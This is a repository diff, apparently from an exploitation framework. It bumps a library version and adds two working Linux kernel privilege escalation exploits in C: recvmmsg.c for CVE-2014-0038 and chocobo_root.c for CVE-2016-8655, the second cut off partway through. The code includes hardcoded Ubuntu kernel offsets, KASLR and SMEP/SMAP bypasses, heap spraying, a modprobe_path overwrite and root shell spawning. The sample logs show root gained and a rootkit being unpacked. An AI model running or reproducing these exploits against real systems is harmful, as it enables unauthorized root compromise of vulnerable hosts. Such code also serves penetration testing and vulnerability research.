|
||||
+1
-1
@@ -96,7 +96,7 @@ rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,226 @@
|
||||
/*
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
||||
CVE-2014-0038 / x32 ABI with recvmmsg
|
||||
by rebel @ irc.smashthestack.org
|
||||
-----------------------------------
|
||||
|
||||
takes about 13 minutes to run because timeout->tv_sec is decremented
|
||||
once per second and 0xff*3 is 765.
|
||||
|
||||
some things you could do while waiting:
|
||||
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
|
||||
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
|
||||
* brew some coffee
|
||||
* stare at the countdown giggly with anticipation
|
||||
|
||||
could probably whack the high bits of some pointer with nanoseconds,
|
||||
but that would require a bunch of nulls before the pointer and then
|
||||
reading an oops from dmesg which isn't that elegant.
|
||||
|
||||
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
|
||||
|
||||
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
|
||||
anyway..
|
||||
|
||||
same principle will work on 32bit but I didn't really find any major
|
||||
distros shipping with CONFIG_X86_X32=y
|
||||
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
|
||||
user@ubuntu:~$ ./recvmmsg
|
||||
byte 3 / 3.. ~0 secs left.
|
||||
w00p w00p!
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# sh phalanx-2.6b-x86_64.sh
|
||||
unpacking..
|
||||
|
||||
:)=
|
||||
|
||||
greets to my homeboys kaliman, beist, capsl & all of #social
|
||||
|
||||
Sat Feb 1 22:15:19 CET 2014
|
||||
% rebel %
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
#define VLEN 1
|
||||
#define BUFSIZE 200
|
||||
|
||||
int port;
|
||||
|
||||
struct offset {
|
||||
char *kernel_version;
|
||||
unsigned long dest; // net_sysctl_root + 96
|
||||
unsigned long original_value; // net_ctl_permissions
|
||||
unsigned long prepare_kernel_cred;
|
||||
unsigned long commit_creds;
|
||||
};
|
||||
|
||||
struct offset offsets[] = {
|
||||
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
||||
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
||||
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
||||
{NULL,0,0,0,0}
|
||||
};
|
||||
|
||||
void udp(int b) {
|
||||
int sockfd;
|
||||
struct sockaddr_in servaddr,cliaddr;
|
||||
int s = 0xff+1;
|
||||
|
||||
if(fork() == 0) {
|
||||
while(s > 0) {
|
||||
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
||||
sleep(1);
|
||||
s--;
|
||||
fprintf(stderr,".");
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
||||
bzero(&servaddr,sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
||||
servaddr.sin_port=htons(port);
|
||||
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void trigger() {
|
||||
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
||||
|
||||
if(getuid() != 0) {
|
||||
fprintf(stderr,"not root, ya blew it!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"w00p w00p!\n");
|
||||
system("/bin/sh -i");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
// thx bliss
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void *head, void * table)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int sockfd, retval, i;
|
||||
struct sockaddr_in sa;
|
||||
struct mmsghdr msgs[VLEN];
|
||||
struct iovec iovecs[VLEN];
|
||||
char buf[BUFSIZE];
|
||||
long mmapped;
|
||||
struct utsname u;
|
||||
struct offset *off = NULL;
|
||||
|
||||
uname(&u);
|
||||
|
||||
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
||||
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
||||
off = &offsets[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!off) {
|
||||
fprintf(stderr,"no offsets for this kernel version..\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
||||
mmapped &= 0x000000ffffffffff;
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % 30000)+1500;
|
||||
|
||||
commit_creds = (_commit_creds)off->commit_creds;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
||||
|
||||
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
|
||||
if(mmapped == -1) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
||||
|
||||
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
||||
|
||||
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
||||
perror("mprotect()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(msgs, 0, sizeof(msgs));
|
||||
|
||||
iovecs[0].iov_base = &buf;
|
||||
iovecs[0].iov_len = BUFSIZE;
|
||||
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
||||
msgs[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
for(i=0;i < 3 ;i++) {
|
||||
udp(i);
|
||||
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
||||
if(!retval) {
|
||||
fprintf(stderr,"\nrecvmmsg() failed\n");
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
|
||||
fprintf(stderr,"\n");
|
||||
|
||||
trigger();
|
||||
}
|
||||
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,945 @@
|
||||
/*
|
||||
chocobo_root.c
|
||||
linux AF_PACKET race condition exploit for CVE-2016-8655.
|
||||
Includes KASLR and SMEP/SMAP bypasses.
|
||||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
|
||||
All kernel offsets have been tested on Ubuntu / Linux Mint.
|
||||
|
||||
vroom vroom
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user)
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
|
||||
user@ubuntu:~$ ./chocobo_root
|
||||
linux AF_PACKET race condition exploit by rebel
|
||||
kernel version: 4.4.0-51-generic #72
|
||||
proc_dostring = 0xffffffff81088090
|
||||
modprobe_path = 0xffffffff81e48f80
|
||||
register_sysctl_table = 0xffffffff812879a0
|
||||
set_memory_rw = 0xffffffff8106f320
|
||||
exploit starting
|
||||
making vsyscall page writable..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 174222, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
vsyscall page altered!
|
||||
|
||||
|
||||
stage 1 completed
|
||||
registering new sysctl..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 30773, last val = 0)
|
||||
current packet version = 2
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
race not won
|
||||
|
||||
retrying stage..
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 133577, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
sysctl added!
|
||||
|
||||
stage 2 completed
|
||||
binary executed by kernel, launching rootshell
|
||||
root@ubuntu:~# id
|
||||
uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
|
||||
Shoutouts to:
|
||||
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
|
||||
mcdelivery for delivering hotcakes and coffee
|
||||
|
||||
11/2016
|
||||
by rebel
|
||||
---
|
||||
Updated by <bcoles@gmail.com>
|
||||
- check number of CPU cores
|
||||
- KASLR bypasses
|
||||
- additional kernel targets
|
||||
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <poll.h>
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/sched.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions()
|
||||
int kernel = -1;
|
||||
|
||||
// New sysctl path
|
||||
const char *SYSCTL_NAME = "hack";
|
||||
const char *SYSCTL_PATH = "/proc/sys/hack";
|
||||
|
||||
volatile int barrier = 1;
|
||||
volatile int vers_switcher_done = 0;
|
||||
|
||||
struct kernel_info {
|
||||
char *kernel_version;
|
||||
unsigned long proc_dostring;
|
||||
unsigned long modprobe_path;
|
||||
unsigned long register_sysctl_table;
|
||||
unsigned long set_memory_rw;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
|
||||
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
|
||||
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
|
||||
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
|
||||
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
|
||||
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
|
||||
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
|
||||
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
|
||||
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
|
||||
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
|
||||
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
|
||||
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
|
||||
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
|
||||
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
|
||||
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
|
||||
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
|
||||
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
|
||||
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
|
||||
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
|
||||
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
|
||||
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
|
||||
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
|
||||
};
|
||||
|
||||
#define VSYSCALL 0xffffffffff600000
|
||||
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
|
||||
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
|
||||
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
|
||||
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
|
||||
|
||||
#define KMALLOC_PAD 64
|
||||
|
||||
int pad_fds[KMALLOC_PAD];
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ctl_table {
|
||||
const char *procname;
|
||||
void *data;
|
||||
int maxlen;
|
||||
unsigned short mode;
|
||||
struct ctl_table *child;
|
||||
void *proc_handler;
|
||||
void *poll;
|
||||
void *extra1;
|
||||
void *extra2;
|
||||
};
|
||||
|
||||
#define CONF_RING_FRAMES 1
|
||||
|
||||
struct tpacket_req3 tp;
|
||||
int sfd;
|
||||
int mapped = 0;
|
||||
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
unsigned long expires;
|
||||
void (*function)(unsigned long);
|
||||
unsigned long data;
|
||||
unsigned int flags;
|
||||
int slack;
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void *setsockopt_thread(void *arg)
|
||||
{
|
||||
while (barrier) {}
|
||||
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *vers_switcher(void *arg)
|
||||
{
|
||||
int val,x,y;
|
||||
|
||||
while (barrier) {}
|
||||
|
||||
while (1) {
|
||||
val = TPACKET_V1;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
y++;
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
val = TPACKET_V3;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
y++;
|
||||
}
|
||||
|
||||
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
|
||||
vers_switcher_done = 1;
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define BUFSIZE 1408
|
||||
char exploitbuf[BUFSIZE];
|
||||
|
||||
void kmalloc(void)
|
||||
{
|
||||
while(1)
|
||||
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
|
||||
}
|
||||
|
||||
void pad_kmalloc(void)
|
||||
{
|
||||
int x;
|
||||
for (x = 0; x < KMALLOC_PAD; x++)
|
||||
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
|
||||
dprintf("[-] pad_kmalloc() socket error\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
pthread_t setsockopt_thread_thread,a;
|
||||
int val;
|
||||
socklen_t l;
|
||||
struct timer_list *timer;
|
||||
int fd;
|
||||
struct tpacket_block_desc *pbd;
|
||||
int off;
|
||||
sigset_t set;
|
||||
|
||||
sigemptyset(&set);
|
||||
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("[-] target socket error\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
dprintf("[.] done, sockets allocated\n");
|
||||
|
||||
val = TPACKET_V3;
|
||||
|
||||
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
|
||||
tp.tp_block_nr = 1;
|
||||
tp.tp_frame_size = getpagesize();
|
||||
tp.tp_frame_nr = CONF_RING_FRAMES;
|
||||
|
||||
// try to set the timeout to 10 seconds
|
||||
// the default timeout might still be used though depending on when the race was won
|
||||
tp.tp_retire_blk_tov = 10000;
|
||||
|
||||
sfd = fd;
|
||||
|
||||
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
|
||||
dprintf("[-] Error creating thread\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
|
||||
|
||||
usleep(200000);
|
||||
|
||||
dprintf("[.] removing barrier and spraying...\n");
|
||||
|
||||
memset(exploitbuf, '\x00', BUFSIZE);
|
||||
|
||||
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
|
||||
timer->next = 0;
|
||||
timer->prev = 0;
|
||||
|
||||
timer->expires = 4294943360;
|
||||
timer->function = (void *)func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
timer->slack = -1;
|
||||
|
||||
barrier = 0;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
while (!vers_switcher_done) usleep(100000);
|
||||
|
||||
l = sizeof(val);
|
||||
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
|
||||
|
||||
dprintf("[.] current packet version = %d\n",val);
|
||||
|
||||
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
|
||||
|
||||
if (pbd == MAP_FAILED) {
|
||||
dprintf("[-] could not map pbd\n");
|
||||
exit(1);
|
||||
} else {
|
||||
off = pbd->hdr.bh1.offset_to_first_pkt;
|
||||
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
|
||||
}
|
||||
|
||||
|
||||
if (val == TPACKET_V1 && off != 0) {
|
||||
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
|
||||
} else {
|
||||
dprintf("[-] race not won\n");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
|
||||
|
||||
pthread_create(&a, NULL, verification_func, (void *)NULL);
|
||||
|
||||
dprintf("\n");
|
||||
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
|
||||
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
|
||||
dprintf("\n");
|
||||
|
||||
sleep(1);
|
||||
dprintf("[.] closing socket and verifying...\n");
|
||||
|
||||
close(sfd);
|
||||
|
||||
kmalloc();
|
||||
|
||||
dprintf("[.] all messages sent\n");
|
||||
|
||||
sleep(31337);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int verification_result = 0;
|
||||
|
||||
void catch_sigsegv(int sig)
|
||||
{
|
||||
verification_result = 0;
|
||||
pthread_exit((void *)1);
|
||||
}
|
||||
|
||||
void *modify_vsyscall(void *arg)
|
||||
{
|
||||
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
|
||||
unsigned long x = (unsigned long)arg;
|
||||
|
||||
sigset_t set;
|
||||
sigemptyset(&set);
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
signal(SIGSEGV, catch_sigsegv);
|
||||
|
||||
*vsyscall = 0xdeadbeef+x;
|
||||
|
||||
if (*vsyscall == 0xdeadbeef+x) {
|
||||
dprintf("[~] vsyscall page altered!\n");
|
||||
verification_result = 1;
|
||||
pthread_exit(0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void verify_stage1(void)
|
||||
{
|
||||
pthread_t v_thread;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
|
||||
|
||||
pthread_join(v_thread, NULL);
|
||||
|
||||
if(verification_result == 1) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not modify vsyscall\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void verify_stage2(void)
|
||||
{
|
||||
struct stat b;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
if (stat(SYSCTL_PATH, &b) == 0) {
|
||||
dprintf("[~] sysctl added!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not add sysctl\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
int status;
|
||||
int pid;
|
||||
|
||||
retry:
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (pid == 0) {
|
||||
try_exploit(func, arg, verification_func);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
wait(&status);
|
||||
|
||||
dprintf("\n");
|
||||
|
||||
if (WEXITSTATUS(status) == 2) {
|
||||
dprintf("[.] retrying stage...\n");
|
||||
kill(pid, 9);
|
||||
sleep(2);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (WEXITSTATUS(status) != 0) {
|
||||
dprintf("[-] something bad happened, aborting exploit attempt\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
kill(pid, 9);
|
||||
}
|
||||
|
||||
|
||||
void wrapper(void)
|
||||
{
|
||||
struct ctl_table *c;
|
||||
|
||||
dprintf("[.] making vsyscall page writable...\n\n");
|
||||
|
||||
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
|
||||
|
||||
dprintf("[~] done, stage 1 completed\n");
|
||||
|
||||
sleep(5);
|
||||
|
||||
dprintf("[.] registering new sysctl...\n\n");
|
||||
|
||||
c = (struct ctl_table *)(VSYSCALL+0x850);
|
||||
|
||||
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
|
||||
|
||||
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
|
||||
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
|
||||
c->procname = (char *)(VSYSCALL+0xf00);
|
||||
c->mode = 0666;
|
||||
c->proc_handler = (void *)(PROC_DOSTRING);
|
||||
c->data = (void *)(MODPROBE_PATH);
|
||||
c->maxlen = 256;
|
||||
c->extra1 = (void *)(VSYSCALL+0xe00);
|
||||
c->extra2 = (void *)(VSYSCALL+0xd00);
|
||||
|
||||
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
|
||||
|
||||
dprintf("[~] done, stage 2 completed\n");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
